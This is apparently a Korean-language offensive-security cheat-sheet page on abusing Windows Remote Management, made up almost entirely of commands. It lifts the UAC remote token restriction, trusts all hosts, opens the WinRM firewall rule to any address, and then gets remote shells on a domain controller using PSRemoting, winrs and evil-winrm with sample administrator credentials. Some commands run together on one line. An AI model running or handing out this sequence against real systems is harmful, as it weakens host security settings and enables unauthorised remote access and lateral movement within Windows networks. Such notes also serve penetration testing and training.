winrm
Abuse
# UAC 원격 제한 해제
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
# winrm 서비스 시작 및 설정 구성
net start winrm
Set-Item WSMAN:\localhost\Client\TrustedHosts -Value "*" -Force
Set-NetFirewallRule -Name 'WINRM-HTTP-In-TCP' -RemoteAddress Any# 원격 서버와의 시간 동기화
w32tm /config /manualpeerlist:"AD01.CONTOSO.COM" /syncfromflags:manual /update
w32tm /resync /force
# PSRemoting으로 원격 쉘 획득
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('CONTOSO\Administrator', $pass)
Enter-PSSession -ComputerName DC01 -Credential $cred
# 쉘 획득 없이 원라인 커맨드 실행
winrs /r:http://'<target-ip>':5985/wsman /u:'<username>' /p:'<password>' whoami# winrm 원격 쉘 획득
evil-winrm -i 192.168.1.11 -u Administrator -p 'Password123!'References
Last updated